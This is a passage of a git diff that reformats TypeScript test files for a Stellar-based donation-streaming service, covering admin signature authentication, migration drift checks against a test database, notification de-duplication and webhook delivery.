configureAdmins(legacyAdmin.publicKey()); - - const app = buildServer(); - const ts = Date.now().toString(); - const hash = sep53Hash(`GET:/v1/ngo-applications:${ts}:${bodyHash('')}`); - const hexSig = Buffer.from(legacyAdmin.sign(hash)).toString('hex'); - - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers: { - 'x-admin-address': legacyAdmin.publicKey(), - 'x-admin-signature': hexSig, - 'x-admin-timestamp': ts, - }, - }); - await app.close(); - - expect(response.statusCode).toBe(200); - }); - - it('rejects a replayed signature', async () => { - configureAdmins(legacyAdmin.publicKey()); - - const ts = Date.now().toString(); - const headers = signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications', ts); - - // First request succeeds - const app1 = buildServer(); - const first = await app1.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers, - }); - await app1.close(); - expect(first.statusCode).toBe(200); - - // Second request with the same timestamp is a replay - const app2 = buildServer(); - const second = await app2.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers, - }); - await app2.close(); - expect(second.statusCode).toBe(401); - expect(second.json<{ error: string }>().error).toBe('replayed_signature'); - }); -}); +import { Keypair } from '@stellar/stellar-sdk'; +import { afterAll, describe, expect, it } from 'vitest'; + +import { bodyHash, sep53Hash } from '../../src/middleware/adminAuth.js'; +import { buildServer } from '../../src/server.js'; +import { signAdminRequest } from '../helpers/adminAuth.js'; + +// Three independent keypairs: one for the legacy single-key var, one that +// only ever appears in the list, and one configured nowhere. Keeping the +// third one lets the "rejected" case be a genuine allow-list miss rather +// than a signature that happened to fail verification, which a 401 alone +// can't tell apart. +const legacyAdmin = Keypair.random(); +const listedAdmin = Keypair.random(); +const unlistedAdmin = Keypair.random(); + +const originalAdminAddress = process.env.ADMIN_ADDRESS; +const originalAdminAddresses = process.env.ADMIN_ADDRESSES; + +/** Sets the admin config for one test. The middleware reads env per-request, + * so this works whether it runs before or after the server is built. */ +function configureAdmins(single?: string, list?: string): void { + if (single === undefined) delete process.env.ADMIN_ADDRESS; + else process.env.ADMIN_ADDRESS = single; + + if (list === undefined) delete process.env.ADMIN_ADDRESSES; + else process.env.ADMIN_ADDRESSES = list; +} + +afterAll(() => { + configureAdmins(originalAdminAddress, originalAdminAddresses); +}); + +/** Signs for and calls the admin-only application list as `keypair`, and + * returns the status/body so each test can assert exactly what it cares + * about. A fresh server per call means each gets its own rate-limit bucket. */ +async function listApplicationsAs(keypair: Keypair) { + const app = buildServer(); + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers: signAdminRequest(keypair, 'GET', '/v1/ngo-applications'), + }); + const result = { + statusCode: response.statusCode, + body: response.json() as { error?: string }, + }; + await app.close(); + return result; +} + +describe('requireAdminSignature', () => { + it('accepts the single admin configured via ADMIN_ADDRESS', async () => { + configureAdmins(legacyAdmin.publicKey()); + + await expect(listApplicationsAs(legacyAdmin)).resolves.toMatchObject({ statusCode: 200 }); + }); + + it('accepts every address in a comma-separated ADMIN_ADDRESSES list', async () => { + configureAdmins(undefined, [legacyAdmin.publicKey(), listedAdmin.publicKey()].join(',')); + + const legacy = await listApplicationsAs(legacyAdmin); + const listed = await listApplicationsAs(listedAdmin); + + expect(legacy.statusCode).toBe(200); + expect(listed.statusCode).toBe(200); + }); + + it('accepts both a legacy ADMIN_ADDRESS and an ADMIN_ADDRESSES list at once', async () => { + configureAdmins(legacyAdmin.publicKey(), listedAdmin.publicKey()); + + const legacy = await listApplicationsAs(legacyAdmin); + const listed = await listApplicationsAs(listedAdmin); + + expect(legacy.statusCode).toBe(200); + expect(listed.statusCode).toBe(200); + }); + + it('tolerates spaces and blank entries in ADMIN_ADDRESSES', async () => { + // The kind of list a human actually pastes. + configureAdmins(undefined, ` ${listedAdmin.publicKey()} , ,`); + + const listed = await listApplicationsAs(listedAdmin); + + expect(listed.statusCode).toBe(200); + }); + + it('rejects a self-signed request from an address that is not an admin', async () => { + configureAdmins(legacyAdmin.publicKey(), listedAdmin.publicKey()); + + // The signature is valid for unlistedAdmin's own key -- it still isn't + // an admin, so the allow-list check has to be what rejects it. + const response = await listApplicationsAs(unlistedAdmin); + + expect(response.statusCode).toBe(401); + expect(response.body.error).toBe('unauthorized'); + }); + + it('503s when neither ADMIN_ADDRESS nor ADMIN_ADDRESSES is configured', async () => { + configureAdmins(); + + const response = await listApplicationsAs(legacyAdmin); + + expect(response.statusCode).toBe(503); + expect(response.body.error).toBe('admin_auth_not_configured'); + }); + + it('rejects non-numeric timestamps', async () => { + configureAdmins(legacyAdmin.publicKey()); + + const app = buildServer(); + const headers = signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications'); + headers['x-admin-timestamp'] = 'abc'; + + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers, + }); + + expect(response.statusCode).toBe(401); + expect(response.json().error).toBe('stale_signature'); + + await app.close(); + }); + + it('rejects malformed admin addresses', async () => { + configureAdmins(legacyAdmin.publicKey()); + + const app = buildServer(); + const headers = signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications'); + headers['x-admin-address'] = 'not-a-stellar-address'; + + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers, + }); + + expect(response.statusCode).toBe(401); + expect(response.json().error).toBe('unauthorized'); + + await app.close(); + }); + + it('rejects a stale signature (timestamp outside the ±5-min window)', async () => { + configureAdmins(legacyAdmin.publicKey()); + + const app = buildServer(); + const staleTs = (Date.now() - 6 * 60 * 1000).toString(); // 6 minutes ago + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers: signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications', staleTs), + }); + await app.close(); + + expect(response.statusCode).toBe(401); + expect(response.json<{ error: string }>().error).toBe('stale_signature'); + }); + + it('rejects a seconds-precision timestamp with timestamp_unit_mismatch', async () => { + configureAdmins(legacyAdmin.publicKey()); + + const app = buildServer(); + const secondsTs = Math.floor(Date.now() / 1000).toString(); // 10-digit seconds value + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers: signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications', secondsTs), + }); + await app.close(); + + expect(response.statusCode).toBe(401); + expect(response.json<{ error: string }>().error).toBe('timestamp_unit_mismatch'); + }); + + it('rejects a request when the body has been tampered with', async () => { + configureAdmins(legacyAdmin.publicKey()); + + const app = buildServer(); + const ts = Date.now().toString(); + const originalBody = JSON.stringify({ reviewNote: 'approved' }); + const tamperedBody = JSON.stringify({ reviewNote: 'rejected' }); + + // Sign over the original body, but send a different body + const headers = signAdminRequest(legacyAdmin, 'POST', '/v1/ngo-applications/00000000-0000-0000-0000-000000000000/approve', ts, originalBody); + + const response = await app.inject({ + method: 'POST', + url: '/v1/ngo-applications/00000000-0000-0000-0000-000000000000/approve', + headers: { ...headers, 'content-type': 'application/json' }, + payload: tamperedBody, + }); + await app.close(); + + // The body hash in the signed payload won't match the tampered body, + // so the signature verification fails. + expect(response.statusCode).toBe(401); + expect(response.json<{ error: string }>().error).toBe('unauthorized'); + }); + + it('accepts a valid hex-encoded signature (not base64)', async () => { + configureAdmins(legacyAdmin.publicKey()); + + const app = buildServer(); + const ts = Date.now().toString(); + const hash = sep53Hash(`GET:/v1/ngo-applications:${ts}:${bodyHash('')}`); + const hexSig = Buffer.from(legacyAdmin.sign(hash)).toString('hex'); + + const response = await app.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers: { + 'x-admin-address': legacyAdmin.publicKey(), + 'x-admin-signature': hexSig, + 'x-admin-timestamp': ts, + }, + }); + await app.close(); + + expect(response.statusCode).toBe(200); + }); + + it('rejects a replayed signature', async () => { + configureAdmins(legacyAdmin.publicKey()); + + const ts = Date.now().toString(); + const headers = signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications', ts); + + // First request succeeds + const app1 = buildServer(); + const first = await app1.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers, + }); + await app1.close(); + expect(first.statusCode).toBe(200); + + // Second request with the same timestamp is a replay + const app2 = buildServer(); + const second = await app2.inject({ + method: 'GET', + url: '/v1/ngo-applications', + headers, + }); + await app2.close(); + expect(second.statusCode).toBe(401); + expect(second.json<{ error: string }>().error).toBe('replayed_signature'); + }); +}); diff --git a/test/migrations.test.ts b/test/migrations.test.ts index ee267ef..cc02361 100644 --- a/test/migrations.test.ts +++ b/test/migrations.test.ts @@ -1,173 +1,173 @@ -import { readFile, readdir } from 'node:fs/promises'; -import path from 'node:path'; - -import { Client } from 'pg'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; - -// --------------------------------------------------------------------------- -// Schema expectations derived from prisma/schema.prisma. -// Each entry is [tableName, requiredColumns[]]. We assert every listed -// column exists in the table produced by the migrations, and that no table -// in this list is missing entirely. Extra columns in a table are allowed -// (future migrations may add columns before the schema is updated), but -// missing columns or missing tables indicate drift that would break the app. -// --------------------------------------------------------------------------- -const EXPECTED_TABLES: [string, string[]][] = [ - ['donors', ['id', 'address', 'created_at']], - ['ngos', ['id', 'owner_address', 'name', 'display_name', 'verified', 'created_at', 'updated_at']], - ['streams', ['id', 'on_chain_id', 'donor_id', 'ngo_id', 'token_address', 'rate', 'last_rate', 'balance', 'withdrawn', 'status', 'created_tx_hash', 'created_at', 'updated_at']], - ['ngo_applications', ['id', 'owner_address', 'name', 'description', 'website', 'contact_email', 'country', 'status', 'review_note', 'created_at', 'updated_at']], - ['ngo_application_challenges', ['challenge', 'owner_address', 'expires_at']], - ['notification_logs', ['id', 'event_id', 'event_type', 'channel', 'success', 'error', 'created_at']], - ['notification_endpoints', ['id', 'url', 'secret', 'event_types', 'enabled', 'created_at', 'updated_at']], - ['indexer_checkpoints', ['id', 'last_ledger', 'last_event_id', 'updated_at']], - ['indexer_dead_letters', ['id', 'event_id', 'ledger', 'contract_id', 'error', 'topic', 'value', 'tx_hash', 'attempts', 'resolved_at', 'created_at', 'updated_at']], - ['stream_events', ['id', 'type', 'stream_id', 'ledger', 'tx_hash', 'payload', 'created_at']], -]; - -/** Tables managed by Prisma Migrate itself — not part of the app schema. */ -const PRISMA_INTERNAL_TABLES = new Set(['_prisma_migrations']); - -const ROOT = process.cwd(); -const MIGRATIONS_DIR = path.join(ROOT, 'prisma', 'migrations'); - -describe('Prisma schema and migrations', () => { - let client: Client; - let dbAvailable = false; - - beforeAll(async () => { - const url = process.env.DATABASE_URL; - if (!url) return; - - client = new Client({ connectionString: url }); - try { - await client.connect(); - dbAvailable = true; - } catch { - // Postgres is not running — tests will be skipped below. - } - }, 10_000); - - it( - 'applying all migrations to an empty database produces no drift against schema.prisma', - async () => { - if (!dbAvailable) { - console.warn( - '[skip] Postgres is not reachable — skipping migration drift check.\n' + - ' Run `docker compose up -d postgres` and re-run the tests to enable it.', - ); - return; - } - - // ------------------------------------------------------------------ - // Step 1: wipe the public schema and re-create it so we start fresh. - // This is safe because the test suite always uses the dedicated - // streamgive_test database, never the development one. - // ------------------------------------------------------------------ - await client.query('DROP SCHEMA public CASCADE'); - await client.query('CREATE SCHEMA public'); - - // ------------------------------------------------------------------ - // Step 2: apply every migration SQL file in chronological order. - // We run them in the same order Prisma would: sorted by directory name - // (which starts with a timestamp). - // ------------------------------------------------------------------ - const entries = await readdir(MIGRATIONS_DIR, { withFileTypes: true }); - const migrationDirs = entries - .filter((e) => e.isDirectory()) - .map((e) => e.name) - .sort(); - - for (const dir of migrationDirs) { - const sqlPath = path.join(MIGRATIONS_DIR, dir, 'migration.sql'); - let sql: string; - try { - sql = await readFile(sqlPath, 'utf8'); - } catch { - // Directory exists but has no migration.sql (e.g. a baseline-only - // folder). Skip it. - continue; - } - try { - await client.query(sql); - } catch (err) { - throw new Error( - `Migration ${dir} failed to apply:\n${(err as Error).message}\n\n` + - 'Fix the SQL in the migration file or regenerate the migration with ' + - '`prisma migrate dev`.', - { cause: err }, - ); - } - } - - // ------------------------------------------------------------------ - // Step 3: inspect the resulting database and compare against the - // expected shape derived from schema.prisma. - // ------------------------------------------------------------------ - - // 3a. Collect actual tables in the public schema. - const tablesResult = await client.query<{ table_name: string }>( - `SELECT table_name FROM information_schema.tables - WHERE table_schema = 'public' AND table_type = 'BASE TABLE'`, - ); - const actualTables = new Set( - tablesResult.rows.map((r) => r.table_name).filter((t) => !PRISMA_INTERNAL_TABLES.has(t)), - ); - - // 3b. Collect actual columns per table. - const colsResult = await client.query<{ table_name: string; column_name: string }>( - `SELECT table_name, column_name FROM information_schema.columns - WHERE table_schema = 'public'`, - ); - const actualColumns = new Map>(); - for (const { table_name, column_name } of colsResult.rows) { - if (!actualColumns.has(table_name)) actualColumns.set(table_name, new Set()); - actualColumns.get(table_name)!.add(column_name); - } - - // 3c. Assert every expected table exists with all its required columns. - const missing: string[] = []; - - for (const [table, columns] of EXPECTED_TABLES) { - if (!actualTables.has(table)) { - missing.push(`Table "${table}" is missing`); - continue; - } - const actual = actualColumns.get(table) ?? new Set(); - for (const col of columns) { - if (!actual.has(col)) { - missing.push(`Column "${table}"."${col}" is missing`); - } - } - } - - // 3d. Assert no unexpected application tables exist (catches tables - // added to migrations but not yet reflected in schema.prisma). - const expectedTableNames = new Set(EXPECTED_TABLES.map(([t]) => t)); - for (const t of actualTables) { - if (!expectedTableNames.has(t)) { - missing.push( - `Table "${t}" exists in the database but is not declared in schema.prisma`, - ); - } - } - - expect( - missing, - 'Migration drift detected between migrations and schema.prisma.\n' + - 'Run `prisma migrate dev` to generate a migration for the pending changes.\n\n' + - missing.join('\n'), - ).toHaveLength(0); - }, - 60_000, - ); - - // Clean up the connection after all tests in this file have run. - // We intentionally do not restore the schema — resetDb() in other test - // files truncates tables rather than dropping schemas, and this test - // always runs in its own file (fileParallelism: false in vitest.config.ts). - // The next test run will wipe and re-apply anyway. - afterAll(async () => { - if (dbAvailable) await client.end(); - }); -}); +import { readFile, readdir } from 'node:fs/promises'; +import path from 'node:path'; + +import { Client } from 'pg'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; + +// --------------------------------------------------------------------------- +// Schema expectations derived from prisma/schema.prisma. +// Each entry is [tableName, requiredColumns[]]. We assert every listed +// column exists in the table produced by the migrations, and that no table +// in this list is missing entirely. Extra columns in a table are allowed +// (future migrations may add columns before the schema is updated), but +// missing columns or missing tables indicate drift that would break the app. +// --------------------------------------------------------------------------- +const EXPECTED_TABLES: [string, string[]][] = [ + ['donors', ['id', 'address', 'created_at']], + ['ngos', ['id', 'owner_address', 'name', 'display_name', 'verified', 'created_at', 'updated_at']], + ['streams', ['id', 'on_chain_id', 'donor_id', 'ngo_id', 'token_address', 'rate', 'last_rate', 'balance', 'withdrawn', 'status', 'created_tx_hash', 'created_at', 'updated_at']], + ['ngo_applications', ['id', 'owner_address', 'name', 'description', 'website', 'contact_email', 'country', 'status', 'review_note', 'created_at', 'updated_at']], + ['ngo_application_challenges', ['challenge', 'owner_address', 'expires_at']], + ['notification_logs', ['id', 'event_id', 'event_type', 'channel', 'success', 'error', 'created_at']], + ['notification_endpoints', ['id', 'url', 'secret', 'event_types', 'enabled', 'created_at', 'updated_at']], + ['indexer_checkpoints', ['id', 'last_ledger', 'last_event_id', 'updated_at']], + ['indexer_dead_letters', ['id', 'event_id', 'ledger', 'contract_id', 'error', 'topic', 'value', 'tx_hash', 'attempts', 'resolved_at', 'created_at', 'updated_at']], + ['stream_events', ['id', 'type', 'stream_id', 'ledger', 'tx_hash', 'payload', 'created_at']], +]; + +/** Tables managed by Prisma Migrate itself — not part of the app schema. */ +const PRISMA_INTERNAL_TABLES = new Set(['_prisma_migrations']); + +const ROOT = process.cwd(); +const MIGRATIONS_DIR = path.join(ROOT, 'prisma', 'migrations'); + +describe('Prisma schema and migrations', () => { + let client: Client; + let dbAvailable = false; + + beforeAll(async () => { + const url = process.env.DATABASE_URL; + if (!url) return; + + client = new Client({ connectionString: url }); + try { + await client.connect(); + dbAvailable = true; + } catch { + // Postgres is not running — tests will be skipped below. + } + }, 10_000); + + it( + 'applying all migrations to an empty database produces no drift against schema.prisma', + async () => { + if (!dbAvailable) { + console.warn( + '[skip] Postgres is not reachable — skipping migration drift check.\n' + + ' Run `docker compose up -d postgres` and re-run the tests to enable it.', + ); + return; + } + + // ------------------------------------------------------------------ + // Step 1: wipe the public schema and re-create it so we start fresh. + // This is safe because the test suite always uses the dedicated + // streamgive_test database, never the development one. + // ------------------------------------------------------------------ + await client.query('DROP SCHEMA public CASCADE'); + await client.query('CREATE SCHEMA public'); + + // ------------------------------------------------------------------ + // Step 2: apply every migration SQL file in chronological order. + // We run them in the same order Prisma would: sorted by directory name + // (which starts with a timestamp). + // ------------------------------------------------------------------ + const entries = await readdir(MIGRATIONS_DIR, { withFileTypes: true }); + const migrationDirs = entries + .filter((e) => e.isDirectory()) + .map((e) => e.name) + .sort(); + + for (const dir of migrationDirs) { + const sqlPath = path.join(MIGRATIONS_DIR, dir, 'migration.sql'); + let sql: string; + try { + sql = await readFile(sqlPath, 'utf8'); + } catch { + // Directory exists but has no migration.sql (e.g. a baseline-only + // folder). Skip it. + continue; + } + try { + await client.query(sql); + } catch (err) { + throw new Error( + `Migration ${dir} failed to apply:\n${(err as Error).message}\n\n` + + 'Fix the SQL in the migration file or regenerate the migration with ' + + '`prisma migrate dev`.', + { cause: err }, + ); + } + } + + // ------------------------------------------------------------------ + // Step 3: inspect the resulting database and compare against the + // expected shape derived from schema.prisma. + // ------------------------------------------------------------------ + + // 3a. Collect actual tables in the public schema. + const tablesResult = await client.query<{ table_name: string }>( + `SELECT table_name FROM information_schema.tables + WHERE table_schema = 'public' AND table_type = 'BASE TABLE'`, + ); + const actualTables = new Set( + tablesResult.rows.map((r) => r.table_name).filter((t) => !PRISMA_INTERNAL_TABLES.has(t)), + ); + + // 3b. Collect actual columns per table. + const colsResult = await client.query<{ table_name: string; column_name: string }>( + `SELECT table_name, column_name FROM information_schema.columns + WHERE table_schema = 'public'`, + ); + const actualColumns = new Map>(); + for (const { table_name, column_name } of colsResult.rows) { + if (!actualColumns.has(table_name)) actualColumns.set(table_name, new Set()); + actualColumns.get(table_name)!.add(column_name); + } + + // 3c. Assert every expected table exists with all its required columns. + const missing: string[] = []; + + for (const [table, columns] of EXPECTED_TABLES) { + if (!actualTables.has(table)) { + missing.push(`Table "${table}" is missing`); + continue; + } + const actual = actualColumns.get(table) ?? new Set(); + for (const col of columns) { + if (!actual.has(col)) { + missing.push(`Column "${table}"."${col}" is missing`); + } + } + } + + // 3d. Assert no unexpected application tables exist (catches tables + // added to migrations but not yet reflected in schema.prisma). + const expectedTableNames = new Set(EXPECTED_TABLES.map(([t]) => t)); + for (const t of actualTables) { + if (!expectedTableNames.has(t)) { + missing.push( + `Table "${t}" exists in the database but is not declared in schema.prisma`, + ); + } + } + + expect( + missing, + 'Migration drift detected between migrations and schema.prisma.\n' + + 'Run `prisma migrate dev` to generate a migration for the pending changes.\n\n' + + missing.join('\n'), + ).toHaveLength(0); + }, + 60_000, + ); + + // Clean up the connection after all tests in this file have run. + // We intentionally do not restore the schema — resetDb() in other test + // files truncates tables rather than dropping schemas, and this test + // always runs in its own file (fileParallelism: false in vitest.config.ts). + // The next test run will wipe and re-apply anyway. + afterAll(async () => { + if (dbAvailable) await client.end(); + }); +}); diff --git a/test/notifications/dedupeCap.test.ts b/test/notifications/dedupeCap.test.ts index 002364e..ecab1c5 100644 --- a/test/notifications/dedupeCap.test.ts +++ b/test/notifications/dedupeCap.test.ts @@ -1,103 +1,103 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -// Prisma is mocked so this runs in the unit project: no database needed to -// fill the de-duplication set past its cap. -const findFirst = vi.fn(); -const create = vi.fn(); -const upsert = vi.fn(); -const findMany = vi.fn(); -vi.mock('../../src/db.js', () => ({ - prisma: { - notificationLog: { findFirst, create, upsert }, - notificationEndpoint: { findMany }, - }, -})); - -const { - _MAX_DELIVERED_EVENT_IDS_FOR_TEST: CAP, - _deliveredEventIdCountForTest: deliveredCount, - _resetDeliveredEventIdsForTest, - notify, -} = await import('../../src/notifications/service.js'); - -import type { NotificationEvent } from '../../src/notifications/types.js'; - -const eventWithId = (n: number): NotificationEvent => ({ - type: 'ngo_approved', - ownerAddress: 'GOWNER', - ngoId: 'NGO1', - eventId: `evt-${n}`, -}); - -describe('notify de-duplication cap', () => { - const originalUrl = process.env.NOTIFY_WEBHOOK_URL; - let fetchSpy: ReturnType; - - beforeEach(() => { - _resetDeliveredEventIdsForTest(); - findFirst.mockReset().mockResolvedValue(null); - create.mockReset().mockResolvedValue({}); - upsert.mockReset().mockResolvedValue({}); - findMany.mockReset().mockResolvedValue([]); // no table endpoints: env fallback - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - vi.spyOn(console, 'log').mockImplementation(() => {}); - vi.spyOn(console, 'error').mockImplementation(() => {}); - fetchSpy = vi - .spyOn(globalThis, 'fetch') - .mockImplementation(async () => new Response(null, { status: 200 })); - }); - - afterEach(() => { - vi.restoreAllMocks(); - if (originalUrl === undefined) delete process.env.NOTIFY_WEBHOOK_URL; - else process.env.NOTIFY_WEBHOOK_URL = originalUrl; - }); - - const fill = async (count: number) => { - for (let i = 0; i < count; i += 1) await notify(eventWithId(i)); - }; - - it('stays bounded at the cap when more ids are delivered than it holds', async () => { - await fill(CAP + 50); - - expect(deliveredCount()).toBe(CAP); - }); - - it('evicts the oldest ids first and keeps the newest', async () => { - await fill(CAP + 1); // evt-0 is evicted - fetchSpy.mockClear(); - - await notify(eventWithId(CAP)); // newest: still remembered, not resent - expect(fetchSpy).not.toHaveBeenCalled(); - - await notify(eventWithId(0)); // oldest: forgotten, delivered again - expect(fetchSpy).toHaveBeenCalledTimes(1); - }); - - it('still delivers the event that triggers an eviction', async () => { - await fill(CAP); - fetchSpy.mockClear(); - - await expect(notify(eventWithId(CAP))).resolves.toBeUndefined(); - - expect(fetchSpy).toHaveBeenCalledTimes(1); - expect(deliveredCount()).toBe(CAP); - }); - - it('keeps delivering after many evictions without throwing', async () => { - await expect(fill(CAP + 200)).resolves.toBeUndefined(); - fetchSpy.mockClear(); - - await notify(eventWithId(CAP + 200)); - expect(fetchSpy).toHaveBeenCalledTimes(1); - }); - - it('stays bounded when ids are recovered from the persisted delivery log', async () => { - await fill(CAP); - findFirst.mockResolvedValue({ id: 1 }); // every later id was delivered before a restart - - for (let i = CAP; i < CAP + 25; i += 1) await notify(eventWithId(i)); - - expect(deliveredCount()).toBe(CAP); - }); -}); +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +// Prisma is mocked so this runs in the unit project: no database needed to +// fill the de-duplication set past its cap. +const findFirst = vi.fn(); +const create = vi.fn(); +const upsert = vi.fn(); +const findMany = vi.fn(); +vi.mock('../../src/db.js', () => ({ + prisma: { + notificationLog: { findFirst, create, upsert }, + notificationEndpoint: { findMany }, + }, +})); + +const { + _MAX_DELIVERED_EVENT_IDS_FOR_TEST: CAP, + _deliveredEventIdCountForTest: deliveredCount, + _resetDeliveredEventIdsForTest, + notify, +} = await import('../../src/notifications/service.js'); + +import type { NotificationEvent } from '../../src/notifications/types.js'; + +const eventWithId = (n: number): NotificationEvent => ({ + type: 'ngo_approved', + ownerAddress: 'GOWNER', + ngoId: 'NGO1', + eventId: `evt-${n}`, +}); + +describe('notify de-duplication cap', () => { + const originalUrl = process.env.NOTIFY_WEBHOOK_URL; + let fetchSpy: ReturnType; + + beforeEach(() => { + _resetDeliveredEventIdsForTest(); + findFirst.mockReset().mockResolvedValue(null); + create.mockReset().mockResolvedValue({}); + upsert.mockReset().mockResolvedValue({}); + findMany.mockReset().mockResolvedValue([]); // no table endpoints: env fallback + process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockImplementation(async () => new Response(null, { status: 200 })); + }); + + afterEach(() => { + vi.restoreAllMocks(); + if (originalUrl === undefined) delete process.env.NOTIFY_WEBHOOK_URL; + else process.env.NOTIFY_WEBHOOK_URL = originalUrl; + }); + + const fill = async (count: number) => { + for (let i = 0; i < count; i += 1) await notify(eventWithId(i)); + }; + + it('stays bounded at the cap when more ids are delivered than it holds', async () => { + await fill(CAP + 50); + + expect(deliveredCount()).toBe(CAP); + }); + + it('evicts the oldest ids first and keeps the newest', async () => { + await fill(CAP + 1); // evt-0 is evicted + fetchSpy.mockClear(); + + await notify(eventWithId(CAP)); // newest: still remembered, not resent + expect(fetchSpy).not.toHaveBeenCalled(); + + await notify(eventWithId(0)); // oldest: forgotten, delivered again + expect(fetchSpy).toHaveBeenCalledTimes(1); + }); + + it('still delivers the event that triggers an eviction', async () => { + await fill(CAP); + fetchSpy.mockClear(); + + await expect(notify(eventWithId(CAP))).resolves.toBeUndefined(); + + expect(fetchSpy).toHaveBeenCalledTimes(1); + expect(deliveredCount()).toBe(CAP); + }); + + it('keeps delivering after many evictions without throwing', async () => { + await expect(fill(CAP + 200)).resolves.toBeUndefined(); + fetchSpy.mockClear(); + + await notify(eventWithId(CAP + 200)); + expect(fetchSpy).toHaveBeenCalledTimes(1); + }); + + it('stays bounded when ids are recovered from the persisted delivery log', async () => { + await fill(CAP); + findFirst.mockResolvedValue({ id: 1 }); // every later id was delivered before a restart + + for (let i = CAP; i < CAP + 25; i += 1) await notify(eventWithId(i)); + + expect(deliveredCount()).toBe(CAP); + }); +}); diff --git a/test/notifications/service.test.ts b/test/notifications/service.test.ts index c85a866..16b9cca 100644 --- a/test/notifications/service.test.ts +++ b/test/notifications/service.test.ts @@ -1,492 +1,492 @@ -import { createHmac } from 'node:crypto'; - -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { - _resetDeliveredEventIdsForTest, - notify, - processPendingWebhookDeliveries, -} from '../../src/notifications/service.js'; -import type { NotificationEvent } from '../../src/notifications/types.js'; -import { resetDb } from '../helpers/db.js'; - -const event: NotificationEvent = { - type: 'stream_created', - streamId: '1', - donorAddress: 'GDONOR', - ngoId: 'NGO1', -}; - -describe('notify', () => { - const originalEnv = process.env.NOTIFY_WEBHOOK_URL; - const originalSecret = process.env.NOTIFY_WEBHOOK_SECRET; - const originalTimeout = process.env.NOTIFY_WEBHOOK_TIMEOUT_MS; - - beforeEach(async () => { - vi.restoreAllMocks(); - _resetDeliveredEventIdsForTest(); - await resetDb(); - delete process.env.NOTIFY_WEBHOOK_URL; - delete process.env.NOTIFY_WEBHOOK_TIMEOUT_MS; - // Unset by default so the signing cases opt in explicitly and a stray - // value in the developer's own .env can't make them pass for free. - delete process.env.NOTIFY_WEBHOOK_SECRET; - }); - - afterEach(() => { - // Assigning `undefined` to a process.env key stores the string - // "undefined" rather than unsetting it, so delete instead when the var - // was originally absent. - if (originalEnv === undefined) { - delete process.env.NOTIFY_WEBHOOK_URL; - } else { - process.env.NOTIFY_WEBHOOK_URL = originalEnv; - } - - if (originalSecret === undefined) { - delete process.env.NOTIFY_WEBHOOK_SECRET; - } else { - process.env.NOTIFY_WEBHOOK_SECRET = originalSecret; - } - - if (originalTimeout === undefined) { - delete process.env.NOTIFY_WEBHOOK_TIMEOUT_MS; - } else { - process.env.NOTIFY_WEBHOOK_TIMEOUT_MS = originalTimeout; - } - }); - - const okResponse = () => new Response(null, { status: 200 }); - - it('logs status code and URL when webhook returns a non-2xx response (500)', async () => { - const webhookUrl = 'http://example.com/webhook'; - process.env.NOTIFY_WEBHOOK_URL = webhookUrl; - - const consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); - vi.spyOn(globalThis, 'fetch').mockResolvedValue( - new Response(null, { status: 500, statusText: 'Internal Server Error' }), - ); - - await notify(event); - - expect(consoleErrorSpy).toHaveBeenCalledWith( - expect.stringMatching(/500.*http:\/\/example\.com\/webhook/), - ); - }); - - it('does not throw or block notify when the webhook request rejects', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'https://example.com/webhook'; - - vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('Network error')); - const consoleSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); - const failedEvent: NotificationEvent = { - type: 'ngo_revoked', - ownerAddress: 'G1234567890', - ngoId: 'ngo-123', - }; - - await expect(notify(failedEvent)).resolves.not.toThrow(); - expect(consoleSpy).toHaveBeenCalled(); - }); - - it('writes a failure record when webhook returns non-2xx', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - vi.spyOn(console, 'error').mockImplementation(() => {}); - vi.spyOn(globalThis, 'fetch').mockResolvedValue( - new Response(null, { status: 500, statusText: 'Internal Server Error' }), - ); - - await notify(event); - - const log = await prisma.notificationLog.findFirst({ - where: { channel: 'webhook', success: false }, - }); - expect(log).not.toBeNull(); - expect(log?.eventType).toBe('stream_created'); - expect(log?.error).toMatch(/500/); - }); - - it('writes a success record when webhook returns 2xx', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response(null, { status: 200 })); - - await notify(event); - - const log = await prisma.notificationLog.findFirst({ - where: { channel: 'webhook', success: true }, - }); - expect(log).not.toBeNull(); - expect(log?.eventType).toBe('stream_created'); - }); - - it('aborts a webhook that does not respond within the configured timeout', async () => { - process.env.NOTIFY_WEBHOOK_URL = 'http://example.com/webhook'; - process.env.NOTIFY_WEBHOOK_TIMEOUT_MS = '5'; - vi.spyOn(console, 'error').mockImplementation(() => {}); - const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation((_url, init) => { - const signal = init?.signal; - return new Promise((_resolve, reject) => { - if (!signal) { - reject(new Error('expected webhook request to have an abort signal')); - return; - } - 